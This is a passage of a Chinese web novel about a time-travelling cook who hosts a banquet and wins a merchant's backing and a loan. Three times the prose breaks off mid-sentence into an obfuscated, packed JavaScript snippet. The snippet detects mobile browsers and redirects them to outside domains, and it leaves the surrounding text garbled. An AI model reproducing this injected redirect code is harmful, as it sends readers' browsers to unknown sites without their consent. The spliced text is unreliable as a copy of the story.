这会冶铁技术还没有特别先进，虽然已经有了炒菜的烹饪手法，但除了宫廷豪门大酒楼，普通老百姓家中几乎是见不到铁锅的。前不久自己发牢骚，没想到被便宜老爹听去后，他居然会冶铁。所以这口铁锅开锅后，还是第一次炒菜。 其时，鸡也煮好了，被香味引得频频侧目的林映玉赶紧提醒尚怀真。 将鸡从温水中夹出，到冰水中同样三起三落后再冰浸几分钟，提起来后，还有一丝残余温度的鸡看起来爽滑紧致，浅黄隐有啫喱的外皮看上去就十分嫩口。 让林映玉去热两勺油，自己则下刀斩鸡，鸡块上那冒出来的汁水让她这个厨师都开始疯狂地咽口水了。这道菜虽然没什么浓烈的香味，但谁吃谁知道，那口感简直惊为天人，一道上品白切鸡可以让任何一个外地人爱上粤菜！ 把热油淋到蘸料上后，看着林映玉那满脸期待又欲言又止的表情，尚怀真笑说：“哪有做菜的不尝咸淡，先试试吧？” 林映玉腼腆地点点头，夹起一块鸡肉，裹满蘸料后，放入口中，双眼瞬间睁大，内心直呼美味。没想到这看着朴实无华的鸡肉，肉丝竟如此轻盈嫩爽，皮质似雪花般滑入口中，味纯却可口，啖下一块便马上想夹第二块。 “可口爽滑。怀真，这太好吃了，薛东家他们定会喜欢的！”菜未上桌，知理克制的她虽然心中冲动，但并没有真的去夹第二块，只是眼神往上面又多瞟了几眼。 “有你的认可就好，咱们以后能否吃香喝辣，今夜是重要的一关！”尚怀真笑道，让她先端去餐桌，一会叫上林映瑶一起过来帮忙。 “我来吧，怀真哥。”才吩咐完，薛秋华俏皮的声音传了进来。 尚怀真闻言，看她言笑晏晏地站在门边，也笑道：“你们这么早就来啦，我这儿还要一些时间呢。” “见天快黑了，便想着早些过来，爹爹与伯父这会在堂中聊得正欢呢，你这里还需要帮忙吗？”薛秋华走进去捧起林映玉还没来得及拿的白切鸡，问道。 “不用啦，来得早也好，咱可以慢慢吃慢慢聊，不怕一下子吃撑了错过了后头的菜，米饭及白窝头也蒸好了吧？映玉你和秋华一起先端过去吧。”尚怀真摇摇头，心里想着得赶紧做下一道菜了。 将炖锅重新洗净，因前两道都是口味较为清淡且易凉的开荤菜，故下一项决定做川香水煮鲈鱼。一道味蕾炸弹下去，还不能把他们的胃口打开？ 川菜，醇浓并重，尚滋味，好辛香，麻而不辣，博采众家之长，百菜百味，以味的多、广、厚著称，根植于家常，无人不晓。 洗净刮去了鳞片的鲈鱼，对开使骨肉分离后，鱼骨分段，再将鱼肉斜切成薄片，洗净血水后捞起把水分挤干，在葱姜汁中加入少量花椒粉和蛋清抓至发粘，用淀粉裹上腌制，放置一旁。 锅中油热后，葱姜爆香，把鱼骨头煎至两面金黄，再往锅中倒入开水，不一会，汤色就变得奶白，猛火煮几分钟，放入黄酒、盐等调味后，将鱼骨捞出，再在这锅滚汤中将豆芽豆腐烫熟一同捞起备用。 最后将鱼片放入汤中轻搅，一分钟后，鱼片被煮得变白卷曲时，赶紧捞起来，铺在刚刚放置豆芽鱼骨的盆中，并浇灌上鱼汤，把备好的适量干花椒、胡麻以及从空间里拿出来的青椒等调料放入热油中炸香，趁着油还滚烫，淋在鱼面上，再撒上一点葱花，听着那滋滋作响的声音，简直香得不得了！ “怀真哥哥，好香哇！你这做的是什么？”把鱼端到身后的备菜桌上，就看到林映瑶甩开了牵着林映玉的手，跑过来在鱼汤旁狠狠地嗅了一口，看着那卷曲奶白的鱼片，口水都快掉下来了。 尚怀真看着她那小馋猫的样子，笑了笑，说：“这是水煮鱼，现在还很烫，先不要碰，你阿姐已经帮我把要用的东西备好了，你们等等也过去先和他们吃着吧。” “老爷他们说要等你上桌再一起开饭呢，我偷偷尝了一块白切鸡，肚子就一直咕咕叫到现在。怀真哥哥，你还要多久才弄好呀？”林映瑶的手都快想伸到汤盆里了，捂着肚子，头抵在桌案上委屈巴巴地道。 “哦，好吧。那映玉你把这个菜端去后继续回来帮我，瑶瑶乖乖去陪你秋华姐姐玩，茶水凉了要及时添，莫亏待了客人，这些很快就能吃了。” 一大一小欣喜地头捣如蒜，喉头不断咕咚着带着水煮鲈鱼一同出去了。 鲁菜作为国菜基础，最考功力，其奠定了中餐的烹饪框架，精细华贵，咸鲜纯正，大气典雅。火中取宝的烹饪之道一如当地人豪爽的个性。 其中，拔丝地瓜她是超爱的，但现在还没有番薯的引进，所以就决定做个相对简单的四喜丸子吧。也不知道以后能不能认识朝堂里的高官，让他们赶紧出海去找寻一些外国的食材种子回来。 照例往三肥七瘦的肉馅中加入葱姜水、生抽盐、磨好的五香粉等，顺着一个方向搅打上劲，再切入莲藕碎粒去腻，打入两个鸡蛋，倒上淀粉后摔打均匀，取大块团成圆球。 让林映玉帮烧的油已至五六成热， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512899|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便溜着锅边一个个下入团好的大丸子，炸至金黄焦脆后，捞出控油。撤走油锅时，另外舀出一点底油爆开香料，加入白糖等增鲜，制作炖煮丸子的汤底。 依旧是小火焖烧两刻钟，这时，前面焖煮的酱排骨也好了，揭盖挑出料渣，大火收汁淋一淋，见酱汁变得浓稠挂壁，离火装盘，那浓浓的酱色看着便令人食欲大开。 刚刚炸四喜丸子的油也别浪费了，正好再炸一道传统湘菜麻仁香酥鸭。 湘菜，口味香辣，后劲十足，其油重色浓，咸辣香软，以浓香的调味刺激人们的味蕾，滋味与食材互相渗透，是为无辣不欢。 不过因为现在工具不发达，打发蛋清定然需要不少的时间，就直接简略掉这个步骤，把着重点放在调味上。 将做白切鸡之前腌制好的鸭子放笼上蒸至断生，然后晾凉去骨，将肉切块，再用鸡蛋面粉和适量的水调糊，倒在切好的肉块上抓拌均匀，剩下的糊在这些肉的表面等待油炸。 把旁边用来炸四喜丸子的油锅重新架到灶上加热，也是到五成熟左右，用油淋着鸭肉下锅，炸至金黄捞出，再往鸭肉上铺上花椒胡麻，待油温升至八成热，复放下去淋炸至完全酥脆。此时捞起，已有些焦色，沥在一旁，熟油在鸭皮上跳个不停，就好像那馋得还没吞下就来不及又往上冒的口水。 最后再往花椒盐蘸料上淋上一层热油，酥酥辣辣的香气就出来了。林映玉捧着，很是新奇地说：“怀真，这道菜和金瑞衔珠还挺像的，就是食材和味道不一样，都是以酥脆为主，外形也相似。” 尚怀真点点头，手下不停，一边摆着竹叶，一边拔着香菇腿，头也不抬地道：“世间烹饪之手法，都大同小异，若能举一反三，便可一下学会数道菜肴。只是对于火候之控制，香料之配比，烤制之顺序，因牵一发而动全身，故不同厨子做出来的味道大相径庭。前面这几道菜用到的香料都差不多，所以我才可以做得这么快。” 林映玉了然地点点头，见她一刻不停地在备菜，也不再打扰她了。 竹叶蒸粉肉、蒸香菇盒，尚怀真接下来要做的两道菜，看上去做法类似，却隶属于不同的菜系。 竹叶蒸粉肉，来自浙菜，其选料刻求“细、特、鲜、嫩”，讲究品种和季节时令，遵循“四时之序”，以体现原料质地的柔嫩与脆爽，喜细腻精巧的食材原味。 因现在冬天没有荷叶，故用竹叶作为代替，虽失了些荷塘泥土的清甜，但也多了丝泠冽坚韧之风味。把五花肉切片，加入白糖、姜末、豆豉等咸甜调味，搅拌后放着腌制，再用大米和五香料炒出蒸肉米粉，置在一旁放凉。 接下来把徽菜中蒸香菇盒的香菇小开十字花刀，猪肉剁碎，放入姜葱鸡蛋一起搅拌均匀，再加入淀粉盐等，和四喜丸子的肉团做法大致相同，掐出小团塞在去了脚的香菇帽中，再用另一颗香菇帽盖上，叠成一个小盒子状，放入上层蒸屉。 下层则铺入竹叶，一片片放入裹好了蒸肉米粉的五花肉，一同蒸熟。 徽商世界闻名，徽菜也随之对其他菜系形成深远影响，其属地上盛产山珍野味，常就地取材，以鲜制胜，且注重医食同源，便好食补，对火工要求苛刻。 这两道菜蒸上后，再整点鸡汤金汁一会淋于蒸熟的香菇盒上，也顺带把佛跳墙的汤底给做好，今天八大菜系中最后解腻养胃的闽菜也安排上了。 闽菜清鲜，讲究以汤提鲜，其有清鲜、和醇、荤香、不腻的风味，汤菜变化无穷，这佛跳墙便有“一汤十变”的特色。 “贤侄，可需要帮忙？” 刚端下蒸好了香菇盒的蒸笼，未来的金主爸爸就在便宜老爹的陪伴下走了进来。 21. 优缺点（一） 夜重风寒，出门一看，月亮都当空照了。单单弄好这八道菜，就花了一个多时辰，加上其中备菜炒料的时间，等于一个下午都在忙活今晚的这一顿饭。 剩下的几道菜还没开始做，两位大老爷就一致让尚怀真赶紧停火净手去吃饭。想着菜肉汤都有了，她便勉为其难地接受了。 这顿堪比年夜饭的菜，因为没有提前挑选食材和腌制肉品，虽然激活了《天机食经》里的好几样菜品，但实际上的口感应该都还达不到名菜口味的十分之一。 暖洋洋的偏厅内，端上桌不久的菜还在冒着热气。她让林映玉她们坐下后，见薛氏两夫妻的侍从们仍在他们身后站着，也招呼着他们赶紧入席。 一个青年小厮和两个丫鬟惊得对视了一眼，只感激地对她微笑了一下，就低着头不见行动。 尚怀真一头雾水地还想再邀请他们一遍，却听薛振中开口道：“贤侄，不知这两位姑娘是为何人？” “噢，映玉她们是我请的长工。伯父，您让他们一起入席吧，挤挤刚好能坐下。”看了看对面女子们苗条的身形，以及自己身旁空出来的位置，她再次提议道。 薛振中很是好奇，侧头看着她问：“你家人丁稀少，男女同席尚可理解，下人与主家同桌，却自古未有之。学堂内可有教习礼敬君主之伦常？” 尚怀真听他说完这番话，简直要晕倒，这些规范陋习，难道都要渗透进最普通的人家里去了吗？ 但是两个朝代的人思维不同，她也不便反驳，只好顾左右而言他道：“我觉得她俩并不是我家的下人，我们每日里同吃同住，一同为了经营好这个小家而努力，与异姓亲人又有何不同呢？” 薛振中见她一脸泰然无谓的模样，转头对尚广明笑道：“令郎的想法好生独特。”，随后便吩咐那三个还站着的侍从客随主便，也坐到各自主子的身后去。 感觉到氛围虽没有因此而低迷，但也稍稍有些怪异，孟奶奶连忙对薛氏夫妇笑说：“二郎，娘子，小小家宴，招待不周，且动筷罢。” 说罢，她率先夹了一块沾着咸蛋黄汁的香菇盒。 方放入口中，唇齿一合，软滑的汁水就盈满了嘴角，肉汁中夹杂着香菇的醇鲜，风味独特，吸收了肉汁和咸蛋黄汁的香菇口感也更为浓郁，咸香中带着清甜，适口美味。再咬一口就着米饭吞入腹中，感觉整个人瞬间便被滋养了起来。 至于这咸蛋黄汁是从哪里来的？话说蒸好了两道肉肉的尚怀真发现，目前拥有的食材里面连乞丐版的佛跳墙都凑不齐，依赖高汤的话，炖煮所需的时间等到今晚睡着也不可能吃得上，便直接炒香咸蛋黄，决定改做金汤豆腐羹。 见到孟奶奶容光焕发，连眼角似乎都乐开了花的样子，她心里得到了极大的满足，喜滋滋地又给其夹了几道别的菜，甚至都感觉不到对面也有几道目光正有意无意地在打量着自己。 一旁的薛振中看着自己女儿和夫人截然不同的神情，心里好笑，夹了一块与金瑞衔珠有些相似的香酥鸭，细品下去，只觉酥脆有胜，但味道不及，只能说无功无过。 腌过的鸭肉带咸，再辅以花椒胡麻，在辛辣的刺激下，咸香更盛，对于不喜重口的人，并不是一道能让他们坚持吃完的菜。不过鸭子性寒，以辛热驱之，倒是一门很巧妙的构思。 再夹起一块品相相对寡淡的白切鸡，却是让他微微有些震惊地睁大了双眼。 这白切鸡皮爽肉滑，夹在筷中，软而不散，还带着一点血丝的鸡骨被恰到好处的肉裹住，鸡味犹存却不腥不柴，蘸料单吃没什么滋味，沾在鸡肉上竟能提鲜增香，微咸中带着鲜香，如雪融后丝丝沁入肺腑，令人意犹未尽！ 记得上次吃到这么好吃的白肉鸡，还是在京城里，从许代荣名下的厨神学堂内修习出来的一位老厨子处品尝到的。他当时一心只顾埋头猛吃，并未询问此等美味应如何烹制，只依稀听到隔壁桌说要用什么“三起三落”的方法。 难道这小子在散学前遇到高人相授了？ 思及此，他下意识地看向身旁的尚怀真，没想到恰好与一双偷偷摸摸打量着自己的眼睛对上。 这一眼把被抓包的尚怀真吓得一激灵，忙尴尬地笑道：“伯父，不知味道可还对您胃口？” 薛振中看着她那突然缩没了的脖子，笑了笑，收起审视，又夹起一块酱排骨道：“不错。” 这顿小小的宴席，人人都心怀鬼胎，估计除了尚广明是在认真吃饭的外，其他人的眼神和心思都不知道飘到哪里去了。 薛秋华看着尚怀真与自己爹爹有来有往、谈笑风生，心情已十分美丽，更别说这一桌可口的菜肴，每一道都极合她胃口，让她流连忘返。 其中尤为钟爱的就是那道骨头一脱即出的酱排骨。放在碗面上，色泽红亮诱人，咬住一头就可以将整块肉都撕拉下来，齿间的肉质软烂入味，锁在肉中的酱香浓郁，被酱汁糊满了双唇她都不舍得去擦。 抽空看了看娘亲那花脸猫的模样，她平日里不少教导自己在外需娴静雅淑，言行举止都应克己守礼，这会的吃相却比自己还要放纵大胆，不禁轻笑了一声。 薛母听到，瞪了她一眼，用手帕轻轻压了压嘴角，递给身后的丫鬟换了一面干净的后，也不再理会她了，嘴下不停地继续品味着佳肴。 薛秋华知道今晚来这不仅仅是为了吃一顿饭的，感觉已有了一些饱腹感后，起身坐到孟奶奶身旁，为她盛了一碗金汤豆腐羹，笑说：“奶奶，怀真哥如今有这手艺，您往后就不用再省食缄口了，一定能福运亨通，高枕无忧的。” 孟奶奶笑着接过，抿下一口，丝滑香甜。其内的豆腐与香菇白菜皆是鲜甜之物，入口后将前头疯狂刺激着味蕾的咸辛麻酸通通安抚了下来，用暖意拥抱着它们一同落入腹中，让五脏六腑今夜可以睡个甜蜜安稳的好觉。 “阿奶，您再把这颗四喜丸子吃了，今日份的好兆头就都集满啦！”尚怀真听到她们的对话，将一颗四喜丸子夹到孟奶奶的碗里，说道。 “好兆头？” “是的，这汤金灿灿的，有飞黄腾达之意，四喜丸子即福禄寿喜，寓意福星高照、事业有成、寿比南山、万事如意。阿奶您吃了，以后定然子孙孝顺，福盈满门！” 笑嘻嘻地说完，还把白窝头一同推过去离她近一点，道：“如果怕吃着太腻，可以把丸子塞在这个馒头窝里一起吃，也是别有一番风味的。” 薛母看了一眼尚怀真笑起来更显俊秀的容颜，黑着来做客的脸不知从何时开始也眉目如常了，甚至还有了些笑容。 她学着尚老夫人的手法，夹了一颗四喜丸子放在白窝头里，吃起来居然比就着米饭来得更有嚼劲，再把馒头上端凸出来的圆弧沾上一些金汤豆腐一同入口，更是一瞬间集齐了自己舌尖喜爱的所有味道。 真是一场可以无拘无束又酣畅淋漓的宴席啊！ 只可惜胃小了些，这道菜吃完，她便感觉到腹中撑饱，不受控地打了一个响嗝，惊吓地赶紧拿起手帕遮盖住脸，见似乎无人留意到才松了一口气，也转身向着女儿那边，和她们有一搭没一搭地聊着天。 看着尚老夫人热络地牵着女儿的手，虽然心里觉得怪怪的，但好像也不太好让她们松开。完全不记得自己方进孟宅那会看到这一幕时的强硬态度。 因开胃易瘾有味道，小孩子多喜好辣口之物。吃得满嘴红油的林映瑶被林映玉强烈禁止后才停下了伸向水煮鲈鱼和麻仁香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524654|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酥鸭的筷子。 她脑海中觉得怀真哥哥做的这些菜虽有许多可以改进的地方，但还是很好吃，非常好吃，大写的好吃！好吃到可以忽略掉那些不完美的细节。 鲈鱼片洁白鲜嫩，薄薄一片，弯卷的样子十分可爱，一开始因力气太大夹散了好几块，后面找到方法后终于可以完整地夹到碗里了。吃鱼前先喝一口鱼汤，汤汁香浓，辛麻鲜香直透心扉，让人欲罢不能，竟然连吃了好几碗饭。 怕米饭吃太多了抢不过那些大人们，她直接捞了满满两大碗鱼片豆芽，也不再盛饭了，自在地挑着刺慢慢吃。 杯箸之声渐少，看着长姐还是一副不紧不慢的样子，她撇了撇嘴，又看向在座的其他人。 见孟奶奶满脸和煦笑容，慈爱地和薛姐姐说着话，怀真哥哥也一脸满足地看着她们，不知为何心中有些不快，直接开口道：“怀真哥哥，你可以也帮我弄个窝头丸子吗？有点远，瑶瑶够不着。” 林映玉端着碗，奇怪地看了她一眼，刚想把碗放下来提前制止住还没反应过来的尚怀真，就听薛秋华道：“瑶瑶妹妹，我来帮你弄吧。” 不多时，面色红润的薛秋华拿着窝头丸子走到林映瑶身边，正要递给她，却见她身前的那碗鱼汤同时翻倒，将她洒了一身。 林映瑶立马大叫着起身，眼泪也随之而来，哭喊着道：“薛姐姐，你为何要将汤泼到我身上？” 薛秋华被她吓了一跳，脸色瞬间变得煞白，手忙脚乱地帮她擦去衣服上的汤渍，还举起她的手看有没有被烫伤，十分自责地抱歉道：“对不住，对不住，瑶瑶妹妹，我可能不小心碰到你的碗了，你没有哪里被烫着吧？” 林映瑶偷眼扫了一圈众人惊怒不一的表情，含泪的眼睛眨了两下，刚想抽回的手还是停住了，楚楚可怜道：“没关系的，姐姐，我以为我的碗推得够靠里了，你不会碰到呢，瑶瑶就是手有些痛，没关系的。” 尚怀真觉得她这话以及这件事都有点怪怪的，但又说不上哪里奇怪，忙起身看了一眼她的手，对林映玉说：“烫伤不能耽搁，我房里有止痛药，我去拿了给你们，你抓紧带瑶瑶回房中换一套衣服上点药。” 林映玉点了点头，皱眉看了一眼薛秋华，就扶着林映瑶跟着尚怀真出去了。 薛秋华看着她们的背影，委屈地抿着嘴，手足无措地不知道该跟出去看看还是回到座位上。 “没事的，秋儿，小意外罢了，人多用饭总难避免的，来奶奶这儿坐。”孟奶奶睁开了本还眯眯笑着的眼睛，安抚着薛秋华。 薛氏夫妇看着这场闹剧，都不打算插手，听到尚老夫人的话，对视着微微点了点头。 “奶奶，我不是故意的。”薛秋华倚在孟奶奶的肩上，眼中隐有泪光闪动。 “奶奶知道，你是好孩子。”孟奶奶还是如常地轻拍着她的手，眼中焦距扩散，不知在想些什么。 等把药给了林映玉，确定好林映瑶确实没什么大碍后，尚怀真再次回到偏厅时，被吃得差不多光盘的菜上也不见有人举筷了。 她不好意思地走到薛秋华身边，想看一看她有没有也被烫到，心有余悸道：“秋华，你没被弄到吧？这桌上热油汤酱太多，一不小心就容易伤到，下次喊我来就行了。” 薛母闻言，倒是高看了她一眼，挡在薛秋华身前，出言客气道：“夜已深了，多谢尚小公子的款待，秋华的衣裳也惹了些脏污，伯母和秋华就先行告辞了，欢迎你下次再到我们家里玩。” 尚怀真见薛秋华的眼眶有些发红，愣愣地点了点头，将她们送到门口。 跟在她身旁的薛振中将三个人的神态尽收眼底，对尚怀真微笑道：“可要邀请伯父到你房中小坐？” 22. 优缺点（二） 目送着薛秋华母女俩上了马车，街道上已不见多少行人了，寒风将不少家户门外的灯笼吹得来回摇晃，零落的烛光为清夜更添了几分寒意，站在门边的尚怀真鼻尖上也结起了一层薄薄的白霜。 把薛振中领到房中，她拿出那盒晒干的青枣，取出两颗，泡了一壶茶后，握着暖暖的茶杯，感觉游离在冰天雪地中的神思终于回来了，给坐在对面的人道歉说：“今日没想到会是这般收场，伯父您帮我给伯母和秋华道声失礼吧，改日我再上门致歉。” 薛振中喝了一口杯中的青枣汁，但觉清涩解渴，倒是很适合饭后解腻。点了点头道：“无妨，秋华心实，只要你没有冤枉和怪罪于她即可。” “冤枉？不只是一个小意外吗？您让她可千万不要多想了。”尚怀真懵圈了，这一件小事怎么好像被他们搞得变复杂了呢？ “经商如做官，识人之道也很重要。”薛振中睥了一眼她的懵懂模样，说了这么一句话后又道：“这场小插曲你有空再细想罢，夜已深了，伯父留下来主要是想与你谈谈合作的事。” 尚怀真拧眉回想着晚宴的细节，还没得出结论，听到这话后立马打起了精神，整个人坐得笔直，认真说道：“伯父您还有何疑惑，请尽管问。” 薛振中放下茶杯，盯着她问：“你可知教授你家常菜的人乃何方人士？是否自京城来此？” 京中的厨神学堂，因是许代荣上奏创立，故冠以许代荣之名，但实际上却是皇家学堂，专门培养国商与御厨。其准入门槛之高，连通过了厨王争霸海选赛的人中龙凤都不一定能获得修习名额。 首先要名气，但单有名气只不过是可以被世人和宫内注意到，而后需朝中大官与学堂内习成归来之人的联袂荐信才可以获得考核资格，获得考核资格后，还要通过学堂内十二位授课先生的测试，方能入得其内修习。 如果尚怀真先前遇到的正好是一位从厨神学堂修习归来的大厨，并从他那谋得落款荐信，不仅可以藉此扩大永兴客栈的名声，还能为往后立足京城省去许多事。 尚怀真不知他心中所思，还以为他依然是信不过自己，瞳孔闪烁了一下，努力控制好自己的表情，答道：“不知，我连那人的模样都不记得了，甚至连回家那日发生了何事也想不起来。” “可惜。”薛振中闻言，低头沉吟：“却能记得住做菜的手法，许是冥冥中自有注定。天赋之事，向来无人能究清。” “伯父，怎么了？” 脚踏实地，一步一步慢慢来吧。 薛振中想着，摇了摇头，说道：“你可知自己的长处与短板？” 见对方摇头，他又喝下一杯青枣汁提了提神道：“你会做的菜样很多，想法也新奇有巧思，但是能谓之精通的菜肴却不出二三。今日的八道菜，除白切鸡与水煮鲈鱼外，其他的都只能说无功无过，比之漪福楼，虽不逊色，亦仍有差距。” 薛振中见对方没有表现出不耐与气愤的神情，心中暗暗点头，接着道：“平头百姓的寻常吃食大都寡淡无味，故而会被你的厨艺所吸引，但若要走入富贵王侯之家，却远远不够。” 这不就是说自己样样通样样松嘛，尚怀真尴尬地揩了一把不存在的汗，继续安静地听着指教。 “我观你做的菜更注重完成度和调味，却不理会摆盘与主副食材的相辅相成，有些菜过香过艳，有些却寡淡无奇，在席面上做不到品相一致。若非每上一个菜就撤走前一道，完整的席面看上去便会让人在举箸前就失了食欲。” “别骂了，别骂了，我只是个探店博主，真吃不是为了出片的那种！和专业的美食家不搭边，会做几道能吃的菜已经很努力了！”尚怀真欲哭无泪，似乎能听到自己小小的玻璃心在体内碎裂的声音，不过却不敢出言相驳，毕竟人家金主爸爸说得是真有道理啊！ 薛振中看着她的双目渐渐变成小兔眼，适才还挺直的背也泄气地驼了下去，微微一笑，抚慰道：“不过你也不必泄气，你如今小小年纪，便能有此心性与作为，便胜出旁人许多，只要潜心向学，未来的名厨榜定有你的一席之地。” 尚怀真似乎被打了一剂强心针，暗暗握拳给自己加油，鼓起勇气问道：“多谢伯父指点，请问伯父，我该如何进步呢？” “扬长补短。”薛振中掷地有声地说道。 “在你自己的计划之上，先将小食街开起来，大胆展示你的才能，而后广泛听取民意，找出自己最擅长的菜系，将其精研专攻。我见你似乎也爱将任何事都揽到自己身上，处处主控，然而人的精力有限，若是想将生意做大，这是极其愚蠢的行为。” 尚怀真长这么大，最多是上学的时候被老师批评一下不够专注，被朋友们抱怨一下心大一条筋，今天一下子被指出这么多缺点，先前不存在的冷汗现在还真流下来了，甚至都感觉到有些坐卧不安。 “找出擅长的菜系后，你可以招买一些会烹饪的厨子或直接将摊位租出去，继续以售卖多种吃食的方式，延续小食街的发展。毕竟你虽能做出不同风味的吃食，但人们会更乐意在同一家店内品尝到烹自不同手法的食物。” “可是有些人只会认定一种口味呀。”尚怀真下意识地反驳了一句。 到底还是少年心性。 薛振中笑看着她，语气放缓了许多，有鼓舞之意，道：“这部分人，便是你第二层中餐馆的忠诚食客。从民意中来，便要回到民意中去，朝三暮四是人之天性，能为了你而留存下来的人，才是真正属于你自己的食客。” “其时，你就更应将自己的招牌菜做到尽善至美，并学习摆盘与起有寓意的菜名，从而长久地留住这部分顾客，增强名气，以客带客来被富贵人家熟识。” 尚怀真感觉这会压力没那么大了，屁股也不难受了，点了点头，虚心问道：“为何留住了这部分顾客能被富贵人家看到呢？” “富贵人家对山珍海味多有品尝，他们于吃食上的需求更注重出品稳定，大都喜爱去一些被回头客择一不二的酒楼饭馆。口口相传之下，你的永兴客栈才能打出名堂。” 尚怀真一边听一边思考着，甚至拿起了笔来蘸着还没研开的墨来记着笔记，听到金主爸爸的声音停了下来，抬头一看，却见茶壶都空了，赶紧起身要走出去添。 薛振中制止住了她道：“不必劳烦了，我也该回去了，贤侄你给伯父写一张借条罢。” 尚怀真闻言，木然了一瞬，随即大喜，想找一张好一点的纸，却见他已经从怀中掏出了一张欠条。 其上写着：“我薛振中今日借予你尚怀真四两黄金，散以纹银交付，限偿还方三年内清偿本金。其间资金作何用途，出借方不得过问，以此为据。” 她在心里盘算了一下，四两黄金等于四百贯钱，折合现代的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527960|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八十万！不过年代不同，物价不能类比，但这也相当于现在普通劳工两年的净收入啊，也太豪气了吧！ 尚怀真惊呆了，见薛振中已经利落地在上面签了名，咬破了指头按压立据后，才赶紧模仿地写了一张：“我尚怀真今日向你薛振中借用黄金四两，承诺三年内还清本金。若不履行，以身契抵之，以此为据。” 原本是想写以地契相抵的，但想了想自己做这件事都还没有和孟奶奶她们商量过，就改笔把自己卖出去算了。忍痛想学着他那样把手指咬破，尝试了许多次都只能扯破一点点皮，也不知道是方法不对还是自己狠不下心。 薛振中瞧着他满脸涨红的模样，笑道：“这样就可以了，反正你短时间内也不可能搬得走，我相信你。明日你一早过来府里，伯父让秋华带你去取银两。” - 更深露重，夜越深，风也越冷，再次从大门折返回来，院中已蓄起了浅浅一层没过了鞋尖的积雪了。 尽管天气如此寒冷，尚怀真此刻却觉得好似走在了暖洋洋的棉花上，整个人神采奕奕。刚穿越过来那会明明还是一贫如洗，没想到遇到个贵人就一夜间变成富婆了。 所以说，运气也是实力的一部分吧？ 见厨房灯还亮着，喜滋滋地走过去，只见林映玉在里间认真地洗着碗，莹莹灯光照着她长长的睫毛，在她巴掌大的脸上覆上了浓浓的阴影，碎发轻轻划过鼻尖，美似仙子落凡尘。 尚怀真轻叹，别说什么沉鱼落雁、观者如堵夸张，正常爱美的人看到此人此景都走不动道。 她连忙走上前，抓起林映玉的手，帮她擦干，轻声责备道：“晚间这么冷，你一个小姑娘，怎的都不懂得爱惜自己的双手？残羹清理掉就好了，这些菜碟放一夜又不会发臭，何急这一时半会，明日我去给你买手脂。” 林映玉正想着心事，被她的举动突然吓了一跳，轻轻扯了扯自己的手，却没能抽出来。看着交叠在一起的四只手，脸红道：“无事的，怀真，我做习惯了，想着能多帮你一些忙。” “娇滴滴的小姑娘，就该好好养着，我现在又不是养不起你们了，明日我就去聘两个糙汉子回来给我们干粗重活。”尚怀真说着，想到明天那一大箱白花花的银子，不禁“嘿嘿嘿”地笑出声。 林映玉看着她意气风发的样子，打心里也替她高兴，笑道：“咱家有钱请下人了？” “是呢，等把年货买齐，你也要将我会的那几道菜学上，到时候咱联手打造天下第一客栈！”人逢喜事精神爽，说的就是尚怀真现在的状态了，那美梦简直做到无边去了。 林映玉眉目松展，笑了好一会，道：“那就提前祝怀真你生意兴隆，心想事成啦。” 尚怀真贱贱地勾起她的下巴，学着霸道总裁的模样，用气泡音油腻笑道：“那就承了美人的意了。” 看着她手足无措的样子，哈哈大笑，问道：“今晚的晚膳你吃饱了吗？还想吃什么我给你做。” 林映玉原本反射性地想拒绝，但开口却不自控地说道：“我想吃怀真做的锅盔。” “好咧！客官请稍等～” 林映玉被她贫嘴的模样逗乐，只觉好久都没笑得这么开心过了。 “怀真，是薛伯父帮助了我们吧？你会因为今夜的事怪责薛妹妹吗？”不知为何，望着那道忙碌的背影，让她不自禁地问出了这句话。 23. 再来生意 “怀真老弟，也给为兄来个饼吧，今夜你大摆宴席，也不晓得把我给叫上，太不厚道了些。” 刚把剩下的竹叶蒸粉肉剁碎，满满糊在烤好的锅盔上递给林映玉，小小的厨房里就又进来了一个风雪夜归人。 “你整日里来无影去无踪的，当我是先知，到哪儿都能找着你啊？”尚怀真看了来人一眼，直接将他晾在一旁，贴心地问林映玉锅盔会不会太烫。 李修阙的眼睛在灶台上寻觅了一圈，看着那对才子佳人，幽怨道：“你们倒是卿卿我我、甜甜蜜蜜的，可怜小生腹中空空，还要在此观双栖而叹孤鸾。” 尚怀真打了个冷颤，赶紧把他叫停，让林映玉早点回屋里去休息后，无奈地对他道：“还有一些残羹冷炙，我热一热给你吃吧，这会估摸着都近子时了，大半夜的你还跑过来做甚？” 